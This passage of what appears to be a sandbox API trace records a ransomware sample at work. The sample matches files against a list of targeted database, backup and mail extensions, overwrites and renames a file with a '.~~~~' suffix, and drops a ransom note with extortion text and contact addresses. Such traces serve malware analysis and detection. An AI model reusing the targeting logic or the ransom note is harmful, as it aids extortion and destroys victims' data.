	[0076.132] RtlWakeConditionVariable () returned 0x365f70
	[0076.132] GetCurrentThreadId () returned 0xaf0
	[0076.132] GetCurrentThreadId () returned 0xaf0
	[0076.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a55d8
	[0076.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4550 | out: hHeap=0x300000) returned 1
	[0076.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa9a8 | out: hHeap=0x300000) returned 1
	[0076.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4550
	[0076.133] lstrlenW (lpString=".scr") returned 4
	[0076.133] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".scr") returned 0x0
	[0076.133] lstrlenW (lpString=".cmd") returned 4
	[0076.133] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".cmd") returned 0x0
	[0076.133] lstrlenW (lpString=".dll") returned 4
	[0076.133] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".dll") returned 0x0
	[0076.133] lstrlenW (lpString=".bat") returned 4
	[0076.133] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".bat") returned 0x0
	[0076.133] lstrlenW (lpString=".cpl") returned 4
	[0076.133] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".cpl") returned 0x0
	[0076.133] lstrlenW (lpString=".sys") returned 4
	[0076.133] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".sys") returned 0x0
	[0076.133] lstrlenW (lpString=".msc") returned 4
	[0076.133] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".msc") returned 0x0
	[0076.133] lstrlenW (lpString=".com") returned 4
	[0076.133] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".com") returned 0x0
	[0076.133] lstrlenW (lpString=".lnk") returned 4
	[0076.133] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".lnk") returned 0x0
	[0076.133] lstrlenW (lpString=".msp") returned 4
	[0076.133] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".msp") returned 0x0
	[0076.133] lstrlenW (lpString=".pif") returned 4
	[0076.133] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".pif") returned 0x0
	[0076.133] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.134] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0076.134] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0076.134] lstrlenW (lpString=".sqb") returned 4
	[0076.134] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".sqb") returned 0x0
	[0076.134] lstrlenW (lpString=".ost") returned 4
	[0076.134] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".ost") returned 0x0
	[0076.134] lstrlenW (lpString=".txt") returned 4
	[0076.134] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".txt") returned 0x0
	[0076.134] lstrlenW (lpString=".mdt") returned 4
	[0076.134] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".mdt") returned 0x0
	[0076.134] lstrlenW (lpString=".BDB") returned 4
	[0076.134] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".BDB") returned 0x0
	[0076.134] lstrlenW (lpString=".eql") returned 4
	[0076.134] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".eql") returned 0x0
	[0076.134] lstrlenW (lpString=".DBF") returned 4
	[0076.134] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".DBF") returned 0x0
	[0076.134] lstrlenW (lpString=".EQL") returned 4
	[0076.134] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".EQL") returned 0x0
	[0076.135] lstrlenW (lpString=".FDB") returned 4
	[0076.135] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".FDB") returned 0x0
	[0076.135] lstrlenW (lpString=".EDB") returned 4
	[0076.135] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".EDB") returned 0x0
	[0076.135] lstrlenW (lpString=".DACPAC") returned 7
	[0076.135] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".DACPAC") returned 0x0
	[0076.135] lstrlenW (lpString=".VHD") returned 4
	[0076.135] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".VHD") returned 0x0
	[0076.135] lstrlenW (lpString=".DBV") returned 4
	[0076.135] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".DBV") returned 0x0
	[0076.135] lstrlenW (lpString=".dacpac") returned 7
	[0076.135] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".dacpac") returned 0x0
	[0076.135] lstrlenW (lpString=".sdf") returned 4
	[0076.135] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".sdf") returned 0x0
	[0076.135] lstrlenW (lpString=".accdb") returned 6
	[0076.135] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".accdb") returned 0x0
	[0076.135] lstrlenW (lpString=".DBX") returned 4
	[0076.135] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".DBX") returned 0x0
	[0076.135] lstrlenW (lpString=".MDT") returned 4
	[0076.135] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".MDT") returned 0x0
	[0076.135] lstrlenW (lpString=".SQB") returned 4
	[0076.135] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".SQB") returned 0x0
	[0076.136] lstrlenW (lpString=".vhd") returned 4
	[0076.136] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".vhd") returned 0x0
	[0076.136] lstrlenW (lpString=".bac") returned 4
	[0076.136] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".bac") returned 0x0
	[0076.136] lstrlenW (lpString=".mdf") returned 4
	[0076.136] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".mdf") returned 0x0
	[0076.136] lstrlenW (lpString=".BAK") returned 4
	[0076.136] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".BAK") returned 0x0
	[0076.136] lstrlenW (lpString=".BAC") returned 4
	[0076.136] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".BAC") returned 0x0
	[0076.136] lstrlenW (lpString=".dbs") returned 4
	[0076.136] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".dbs") returned 0x0
	[0076.136] lstrlenW (lpString=".vhdx") returned 5
	[0076.136] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".vhdx") returned 0x0
	[0076.136] lstrlenW (lpString=".NDF") returned 4
	[0076.137] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".NDF") returned 0x0
	[0076.137] lstrlenW (lpString=".dat") returned 4
	[0076.137] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".dat") returned 0x0
	[0076.137] lstrlenW (lpString=".DBS") returned 4
	[0076.137] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".DBS") returned 0x0
	[0076.137] lstrlenW (lpString=".CKP") returned 4
	[0076.137] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".CKP") returned 0x0
	[0076.137] lstrlenW (lpString=".edb") returned 4
	[0076.137] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".edb") returned 0x0
	[0076.137] lstrlenW (lpString=".PST") returned 4
	[0076.137] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".PST") returned 0x0
	[0076.137] lstrlenW (lpString=".dbf") returned 4
	[0076.137] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".dbf") returned 0x0
	[0076.137] lstrlenW (lpString=".SQL") returned 4
	[0076.137] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".SQL") returned 0x0
	[0076.137] lstrlenW (lpString=".pst") returned 4
	[0076.137] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".pst") returned 0x0
	[0076.137] lstrlenW (lpString=".dbv") returned 4
	[0076.137] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".dbv") returned 0x0
	[0076.137] lstrlenW (lpString=".SDF") returned 4
	[0076.137] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".SDF") returned 0x0
	[0076.137] lstrlenW (lpString=".dtxs") returned 5
	[0076.137] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".dtxs") returned 0x0
	[0076.137] lstrlenW (lpString=".db3") returned 4
	[0076.137] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".db3") returned 0x0
	[0076.137] lstrlenW (lpString=".OST") returned 4
	[0076.138] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".OST") returned 0x0
	[0076.138] lstrlenW (lpString=".dbx") returned 4
	[0076.138] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".dbx") returned 0x0
	[0076.138] lstrlenW (lpString=".DB3") returned 4
	[0076.138] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".DB3") returned 0x0
	[0076.138] lstrlenW (lpString=".DAT") returned 4
	[0076.138] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".DAT") returned 0x0
	[0076.138] lstrlenW (lpString=".VHDX") returned 5
	[0076.138] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".VHDX") returned 0x0
	[0076.138] lstrlenW (lpString=".ndf") returned 4
	[0076.138] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".ndf") returned 0x0
	[0076.138] lstrlenW (lpString=".DB") returned 3
	[0076.138] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".DB") returned 0x0
	[0076.138] lstrlenW (lpString=".sql") returned 4
	[0076.138] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".sql") returned 0x0
	[0076.138] lstrlenW (lpString=".MYD") returned 4
	[0076.138] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".MYD") returned 0x0
	[0076.138] lstrlenW (lpString=".DBT") returned 4
	[0076.138] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".DBT") returned 0x0
	[0076.138] lstrlenW (lpString=".ACCDB") returned 6
	[0076.138] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".ACCDB") returned 0x0
	[0076.138] lstrlenW (lpString=".fdb") returned 4
	[0076.138] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".fdb") returned 0x0
	[0076.138] lstrlenW (lpString=".bak") returned 4
	[0076.138] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".bak") returned 0x0
	[0076.138] lstrlenW (lpString=".myd") returned 4
	[0076.139] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".myd") returned 0x0
	[0076.139] lstrlenW (lpString=".DTXS") returned 5
	[0076.139] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".DTXS") returned 0x0
	[0076.139] lstrlenW (lpString=".ckp") returned 4
	[0076.139] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".ckp") returned 0x0
	[0076.139] lstrlenW (lpString=".dbt") returned 4
	[0076.139] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".dbt") returned 0x0
	[0076.139] lstrlenW (lpString=".db") returned 3
	[0076.139] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".db") returned 0x0
	[0076.139] lstrlenW (lpString=".TXT") returned 4
	[0076.139] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".TXT") returned 0x0
	[0076.139] lstrlenW (lpString=".MDF") returned 4
	[0076.139] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".MDF") returned 0x0
	[0076.139] lstrlenW (lpString=".bdb") returned 4
	[0076.139] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".bdb") returned 0x0
	[0076.139] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.139] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a7030
	[0076.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.139] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0076.141] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.141] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0076.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f0050
	[0076.141] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19613089083) returned 1
	[0076.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x97489b30, dwHighDateTime=0x1d60e1e)) 
	[0076.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0076.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0076.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0076.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa9a8
	[0076.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa9a8 | out: hHeap=0x300000) returned 1
	[0076.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7060
	[0076.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7060 | out: hHeap=0x300000) returned 1
	[0076.141] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0076.142] GetLastError () returned 0x0
	[0076.142] SetLastError (dwErrCode=0x0) 
	[0076.142] GetLastError () returned 0x0
	[0076.142] SetLastError (dwErrCode=0x0) 
	[0076.142] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0076.142] GetLastError () returned 0x0
	[0076.142] SetLastError (dwErrCode=0x0) 
	[0076.142] GetLastError () returned 0x0
	[0076.142] SetLastError (dwErrCode=0x0) 
	[0076.142] GetLastError () returned 0x0
	[0076.142] SetLastError (dwErrCode=0x0) 
	[0076.142] GetLastError () returned 0x0
	[0076.142] SetLastError (dwErrCode=0x0) 
	[0076.142] GetLastError () returned 0x0
	[0076.142] SetLastError (dwErrCode=0x0) 
	[0076.142] GetLastError () returned 0x0
	[0076.142] ReadFile (in: hFile=0x128, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.158] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.158] WriteFile (in: hFile=0x128, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0076.160] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.160] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.175] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.175] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.175] CloseHandle (hObject=0x128) returned 1
	[0076.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4270
	[0076.175] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.~~~~")) returned 1
	[0076.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4270 | out: hHeap=0x300000) returned 1
	[0076.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0076.176] GetLastError () returned 0x0
	[0076.176] RtlWakeConditionVariable () returned 0x365f70
	[0076.176] GetCurrentThreadId () returned 0xaf0
	[0076.176] GetCurrentThreadId () returned 0xaf0
	[0076.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0076.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7d80 | out: hHeap=0x300000) returned 1
	[0076.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faa50 | out: hHeap=0x300000) returned 1
	[0076.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0076.176] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0076.177] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0076.177] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0076.178] CloseHandle (hObject=0x128) returned 1
	[0076.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7d80 | out: hHeap=0x300000) returned 1
	[0076.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0076.178] RtlWakeConditionVariable () returned 0x365f70
	[0076.178] GetCurrentThreadId () returned 0xaf0
	[0076.178] GetCurrentThreadId () returned 0xaf0
	[0076.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a72f8 | out: hHeap=0x300000) returned 1
	[0076.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faa88 | out: hHeap=0x300000) returned 1
	[0076.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a72f8
